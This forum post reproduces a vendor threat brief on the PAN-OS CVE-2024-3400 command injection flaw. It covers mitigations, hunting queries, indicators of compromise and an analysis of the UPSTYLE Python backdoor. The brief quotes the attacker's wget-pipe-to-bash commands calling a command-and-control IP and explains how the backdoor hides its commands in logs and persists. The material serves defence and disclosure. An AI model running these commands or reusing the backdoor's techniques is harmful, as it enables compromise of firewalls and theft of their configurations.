Jump to content
  • SeedTheNet
  • Operation MidnightEclipse - Post-Exploitation Activity Related to CVE-2024-3400 - Palo Alto Report


    SeedTheNet

    When it comes to cybersecurity, staying ahead of the game is crucial. Palo Alto Networks, along with Unit 42, is actively monitoring and responding to the latest security challenges that could affect networks worldwide. One such challenge is the critical command injection vulnerability known as CVE-2024-3400, which poses a serious risk to users of Palo Alto Networks PAN-OS software.

    This article takes a closer look at CVE-2024-3400, emphasizing its severity with a CVSS score of 10.0

     

    A command injection vulnerability in the GlobalProtect feature of Palo Alto Networks PAN-OS software for specific PAN-OS versions and distinct feature configurations may enable an unauthenticated attacker to execute arbitrary code with root privileges on the firewall.

    Fixes for PAN-OS 10.2, PAN-OS 11.0, and PAN-OS 11.1 are in development and are expected to be released by April 14, 2024. Cloud NGFW, Panorama appliances, and Prisma Access are not impacted by this vulnerability. All other versions of PAN-OS are also not impacted.

    image.png.dd292bf7ecd657d2f796fec408875bc8.png

    Required Configuration for Exposure

    This issue is applicable only to PAN-OS 10.2, PAN-OS 11.0, and PAN-OS 11.1 firewalls configured with GlobalProtect gateway or GlobalProtect portal (or both) and device telemetry enabled.

    You can verify whether you have a GlobalProtect gateway or GlobalProtect portal configured by checking for entries in your firewall web interface (Network > GlobalProtect > Gateways or Network > GlobalProtect > Portals) and verify whether you have device telemetry enabled by checking your firewall web interface (Device > Setup > Telemetry).

     

    Severity: CRITICAL

    CVSSv4.0 Base Score: 10 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/AU:Y/R:U/V:C/RE:M/U:Red)

    Exploitation Status

    Palo Alto Networks is aware of a limited number of attacks that leverage the exploitation of this vulnerability.

    More information about the vulnerability's exploitation in the wild can be found in the Unit 42 threat brief: https://unit42.paloaltonetworks.com/cve-2024-3400/.

    Weakness Type

    CWE-77 Improper Neutralization of Special Elements used in a Command ('Command Injection')

    Solution

    This issue will be fixed in hotfix releases of PAN-OS 10.2.9-h1 (ETA: By 4/14), PAN-OS 11.0.4-h1 (ETA: By 4/14), and PAN-OS 11.1.2-h3 (ETA: By 4/14), and in all later PAN-OS versions.

    Workarounds and Mitigations

    Recommended Mitigation: Customers with a Threat Prevention subscription can block attacks for this vulnerability by enabling Threat ID 95187 (introduced in Applications and Threats content version 8833-8682).

    In addition to enabling Threat ID 95187, customers must ensure vulnerability protection has been applied to their GlobalProtect interface to prevent exploitation of this issue on their device. Please see https://live.paloaltonetworks.com/t5/globalprotect-articles/applying-vulnerability-protection-to-globalprotect-interfaces/ta-p/340184 for more information.

    If you are unable to apply the Threat Prevention based mitigation at this time, you can still mitigate the impact of this vulnerability by temporarily disabling device telemetry until the device is upgraded to a fixed PAN-OS version. Once upgraded, device telemetry should be re-enabled on the device.

    Please see the following page for details on how to temporarily disable device telemetry: https://docs.paloaltonetworks.com/pan-os/11-0/pan-os-admin/device-telemetry/device-telemetry-configure/device-telemetry-disable.

    Executive Summary

    Palo Alto Networks and Unit 42 are engaged in tracking activity related to CVE-2024-3400 and are working with external researchers, partners and customers to share information transparently and rapidly.

    A critical command injection vulnerability in Palo Alto Networks PAN-OS software enables an unauthenticated attacker to execute arbitrary code with root privileges on the firewall. The vulnerability, assigned CVE-2024-3400, has a CVSS score of 10.0.

    This issue is applicable only to PAN-OS 10.2, PAN-OS 11.0 and PAN-OS 11.1 firewall configurations with a GlobalProtect gateway and device telemetry enabled. This issue does not affect cloud firewalls (Cloud NGFW), Panorama appliances or Prisma Access. For up-to-date information about affected products and versions, please refer to the Palo Alto Networks Security Advisory on this issue.

    Threat-brief-r3d2.png

    Palo Alto Networks is aware of malicious exploitation of this issue. We are tracking the initial exploitation of this vulnerability under the name Operation MidnightEclipse, as we assess with high confidence that known exploitation we’ve analyzed thus far is limited to a single threat actor. We also assess that additional threat actors may attempt exploitation in the future.

    This threat brief will cover information about the vulnerability and what we know about post-exploitation. We will share interim guidance to mitigate the vulnerability, though readers should also refer to the security advisory for specific product version information and remediation guidance. We will continue to update this threat brief as more information becomes available.

    If you believe your firewall has been compromised, please reach out to Palo Alto Networks support.

    This issue will be fixed in an upcoming release of PAN-OS 10.2, PAN-OS 11.0, PAN-OS 11.1 and all later PAN-OS versions by ETA April 14, 2024.

    As a matter of best practice, Palo Alto Networks recommends that you monitor your network for abnormal activity and investigate any unexpected network activity.

    We would like to thank Volexity for finding this issue and their continuing coordination and partnership. Please reference Volexity’s blog for their analysis.

    Palo Alto Networks customers receive protections from and mitigations for CVE-2024-3400 and malware used in post-exploitation activity in the following ways:

    Palo Alto Networks recommends customers with a Threat Prevention subscription block attacks for this vulnerability by enabling Threat ID 95187 (introduced in Applications and Threats content version 8833-8682). In addition to enabling Threat ID 95187, customers must ensure vulnerability protection has been applied to their GlobalProtect interface to prevent exploitation of this issue on their device. Please see the relevant LIVEcommunity article for more information.

    If you are unable to apply the Threat Prevention based mitigation at this time, you can still mitigate the impact of this vulnerability by temporarily disabling device telemetry until the device is upgraded to a fixed PAN-OS version. Once upgraded, device telemetry should be re-enabled on the device.

    The Managed Threat Hunting section below includes XQL queries that can be used to search for signs of exploitation of this CVE.

    The Unit 42 Incident Response team can also be engaged to help with a compromise or to provide a proactive assessment to lower your risk.

    Vulnerabilities Discussed CVE-2024-3400

    Table of Contents

    Details of the Vulnerability
    Current Scope of the Attack
    Interim Guidance
    Unit 42 Managed Threat Hunting Queries
    Conclusion
    Palo Alto Networks Product Protections for CVE-2024-3400
    Next-Generation Firewalls and Prisma Access With Advanced Threat Prevention
    Cortex XDR, XSIAM and the Unified Cloud Agent
    Cortex Xpanse and XSIAM ASM Module
    Indicators of Compromise
    UPSTYLE Backdoor
    Command and Control Infrastructure
    Hosted Python Backdoor
    Observed Commands
    Additional Resources

    Details of the Vulnerability

    A command injection vulnerability in Palo Alto Networks PAN-OS software enables an unauthenticated attacker to execute arbitrary code with root privileges on the firewall. This issue is applicable only to PAN-OS 10.2, PAN-OS 11.0 and PAN-OS 11.1 firewall configurations with both a GlobalProtect gateway and device telemetry enabled.

    You can verify whether you have these features configured by checking for entries in your firewall web interface. Our security advisory includes a link to further instructions on how to temporarily disable device telemetry.

    Palo Alto Networks is aware of targeted attacks that leverage this vulnerability. The next section covers details of the post-exploitation activity we’ve observed.

    Current Scope of the Attack

    As part of the activity observed in Operation MidnightEclipse, after exploitation, the threat actor created a cronjob that would run every minute to access commands hosted on an external server that would execute via bash, as seen in the following command:

    • wget -qO- hxxp://172.233.228[.]93/policy | bash

    We were unable to access the commands executed via this URL. However, we believe this URL was used to deploy a second Python-based backdoor, which our colleagues at Volexity referred to as UPSTYLE.

    The UPSTYLE backdoor uploaded to the firewall was hosted at hxxp://144.172.79[.]92/update.py, but we saw a similar backdoor hosted at nhdata.s3-us-west-2.amazonaws[.]com. According to the HTTP headers, it appears the threat actor last modified it on April 7, 2024.

     
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    Accept-Ranges: bytes
     
    Content-Length: 5187
     
    Content-Type: application/octet-stream
     
    Date: Thu, 11 Apr 2024 16:12:16 GMT
     
    Etag: "6612443d-1443"
     
    Last-Modified: Sun, 07 Apr 2024 06:59:09 GMT
     
    Server: nginx/1.18.0 (Ubuntu)

    The update.py file hosted at 144.172.79[.]92 has a SHA256 value of 3de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac. This file is a backdoor that has multiple layers.

    First, update.py writes another Python script to the following location:

    • [snip]/site-packages/system.pth

    The Python script written to system.pth Base64 decodes an embedded Python script and executes it. This embedded Python script has two functions named protect and check, which are called in that order. The protect function sends a SIGTERM signal and writes the contents of the system.pth file back to itself, likely as a persistence mechanism. The check function will read /proc/self/cmdline to see if it is running as monitor mp before running another Base64 embedded Python script, which is the functional backdoor.

    The Python script run by system.pth has a function named __main that will run in a thread. This function first reads the contents of the following file, along with its access and modified times:

    • [snip]/css/bootstrap.min.css

    It then enters an infinite loop that iterates once every two seconds, reading in the following file:

    • [snip]/sslvpn_ngx_error.log

    The script will then iterate through each line of the file and search the line for the threat actor's command using the following regular expression:

    • img\[([a-zA-Z0-9+/=]+)\]

    If the above regular expression matches, the script will Base64 encode the contents of the command and run it using the popen method within Python's OS module. The lines of the sslvpn_ngx_error.log file that do not match the regular expression are written back to the file, which essentially prunes the lines that contain commands from persisting in the sslvpn_ngx_error.log file for later analysis.

    After running the command, the script writes the output of the command to the following file:

    • [snip]/css/bootstrap.min.css

    The script will then create another thread that runs a function called restore. The restore function takes the original content of the bootstrap.min.css file, as well as the original access and modified times, sleeps for 15 seconds and writes the original contents back to the file and sets the access and modified times to their originals. The point of this function is to avoid leaving the output of the commands available for analysis. Also, this suggests that the threat actor has automation built into the client side of this backdoor, as they only have 15 seconds to grab the results before the backdoor overwrites the file.

    Using the initial backdoor in the crontab, we have evidence of a handful of the commands the threat actor ran on the firewall. The commands include copying configuration files to the web application folder and exfiltrating them via HTTP requests to those files. The following IP address was seen attempting to access a specific configuration file copied to this folder, which we believe is a VPN used by the threat actor:

    • 66.235.168[.]222

    We also observed the threat actor running another command to receive commands from a slightly different URL as the cronjob backdoor:

    • wget -qO- hxxp://172.233.228[.]93/patch|bash

    Lastly, the threat actor cleaned up after themselves by removing all files associated with the backdoors and clearing their cronjobs.

    Interim Guidance

    Please refer to the Palo Alto Networks security advisory on CVE-2024-3400 for the most current interim guidance for mitigating the vulnerability.

    Unit 42 Managed Threat Hunting Queries

    The Unit 42 Managed Threat Hunting team continues to track any attempts to exploit this CVE across our customers, using Cortex XDR and the XQL queries below. Cortex XDR customers can also use these XQL queries to search for signs of exploitation.

     
    1
    2
    3
    4
    // Description: Search for domain IOC in raw NGFW logs
    dataset = panw_ngfw_url_raw
    | filter url_domain ~= ".*nhdata.s3-us-west-2.amazonaws.com"
    | fields _time, log_source_name, action, app, url_domain, uri, url_category, source_ip, source_port, dest_ip, dest_port, protocol, rule_matched, rule_matched_uuid

     

     
    1
    2
    3
    4
    5
    // Description: Detect hits for the specific prevention signature for CVE-2024-3400
    config case_sensitive = false
    | dataset = panw_ngfw_threat_raw
    | filter threat_id = "95187"
    | fields _time, log_source_name, action, app_category, app_sub_category, threat_id, threat_name, source_ip, source_port, dest_ip, dest_port, *

     

     
    1
    2
    3
    4
    5
    // Description: Hits for known IOCs in NGFW traffic
    config case_sensitive = false
    | dataset = panw_ngfw_traffic_raw
    | filter source_ip in ("66.235.168.222", "144.172.79.92", "172.233.228.93") or dest_ip in ("66.235.168.222", "144.172.79.92", "172.233.228.93")
    | fields _time, log_source_name, action, action_source, app, bytes_sent, bytes_received, bytes_total, source_ip, source_port, dest_ip, dest_port, protocol, rule_matched, rule_matched_uuid, session_end_reason

     

     
    1
    2
    3
    4
    5
    6
    // Description: Hits for known IOCs in XDR telemetry and NGFW telemetry (assuming proper integration of NGFW)
    config case_sensitive = false
    | dataset = xdr_data
    | filter event_type = ENUM.STORY
    | filter action_remote_ip in ("172.233.228.93", "66.235.168.222", "144.172.79.92") OR dns_query_name ~= ".nhdata.s3-us-west-2.amazonaws.com" OR action_external_hostname ~= ".nhdata.s3-us-west-2.amazonaws.com"
    | fields _time, agent_hostname, actor_process_image_name, action_local_ip, action_remote_ip, action_remote_port, dns_query_name, action_external_hostname

     

    Conclusion

    The security advisory will continue to provide up to date information on impacts to Palo Alto Networks products and recommended mitigations. We will continue to update this threat brief with information on exploitation.

    Again, Palo Alto Networks would like to thank Volexity for finding this issue and their continuing coordination and partnership. Please reference Volexity’s blog for their analysis.

    Palo Alto Networks has shared our findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

    Protections and mitigations for the observed exploitation activity are below and will be updated as more become available.

    Palo Alto Networks Product Protections for CVE-2024-3400

    Palo Alto Networks customers can leverage a variety of product protections and updates to identify and defend against this threat.

    If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

    • North America Toll-Free: 866.486.4842 (866.4.UNIT42)
    • EMEA: +31.20.299.3130
    • APAC: +65.6983.8730
    • Japan: +81.50.1790.0200

    Next-Generation Firewalls and Prisma Access With Advanced Threat Prevention

    Next-Generation Firewall with the Advanced Threat Prevention security subscription can help block exploitation of CVE-2024-3400 via Threat Prevention signature: 95187.

    Cortex XDR, XSIAM and the Unified Cloud Agent 

    Cortex XDR and XSIAM agents and analytics help protect and detect against post-exploitation activity if an attacker tries to enumerate or laterally move to other assets.

    Cortex Xpanse and XSIAM ASM Module

    Cortex Xpanse has the ability to identify exposed Palo Alto Networks GlobalProtect devices on the public internet and escalate these findings to defenders. Customers can enable alerting on this risk by ensuring that the Palo Alto Networks GlobalProtect Attack Surface Rule is enabled. Identified findings can either be viewed in the Threat Response Center or in the incident view of Expander. These findings are also available for Cortex XSIAM customers who have purchased the ASM module.

    Indicators of Compromise

    UPSTYLE Backdoor

    • Update.py
    • 3de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac
    • 5460b51da26c060727d128f3b3d6415d1a4c25af6a29fef4cc6b867ad3659078

    Command and Control Infrastructure

    • 172.233.228[.]93
    • hxxp://172.233.228[.]93/policy
    • hxxp://172.233.228[.]93/patch
    • 66.235.168[.]222

    Hosted Python Backdoor

    • 144.172.79[.]92
    • nhdata.s3-us-west-2.amazonaws[.]com

    Observed Commands

    • wget -qO- hxxp://172.233.228[.]93/patch|bash
    • wget -qO- hxxp://172.233.228[.]93/policy | bash

    Additional Resources

    Updated April 12, 2024, at 10:15 a.m. PT to add Cortex XDR and XSIAM product protections, as well as Additional Resources. 

    Updated April 12, 2024, at 12:45 a.m. PT to add Cortex Xpanse product protections.

    UPDATE :

    Unfortunately, Palo Alto Networks updated their advisory today to warn that previously shared mitigations have been found to be ineffective at protecting devices from the vulnerability.

    "Earlier versions of this advisory, disabling device telemetry was listed as a secondary mitigation action. Disabling device telemetry is no longer an effective mitigation," reads an update to Palo Alto's advisory.

    "Device telemetry does not need to be enabled for PAN-OS firewalls to be exposed to attacks related to this vulnerability."

    Therefore, the best solution is to install the latest PAN-OS software update to fix the vulnerability.

    Additionally, if you have an active 'Threat Prevention' subscription, you can block ongoing attacks by activating 'Threat ID 95187' threat prevention-based mitigation.

    • Like 1

    User Feedback

    Recommended Comments

    There are no comments to display.



    Create an account or sign in to comment

    You need to be a member in order to leave a comment

    Create an account

    Sign up for a new account in our community. It's easy!

    Register a new account

    Sign in

    Already have an account? Sign in here.

    Sign In Now

  • Member Statistics

    40
    Total Members
    60
    Most Online
    fluoxetine cost
    Newest Member
    fluoxetine cost
    Joined


×
×
  • Create New...

Important Information

Privacy Policy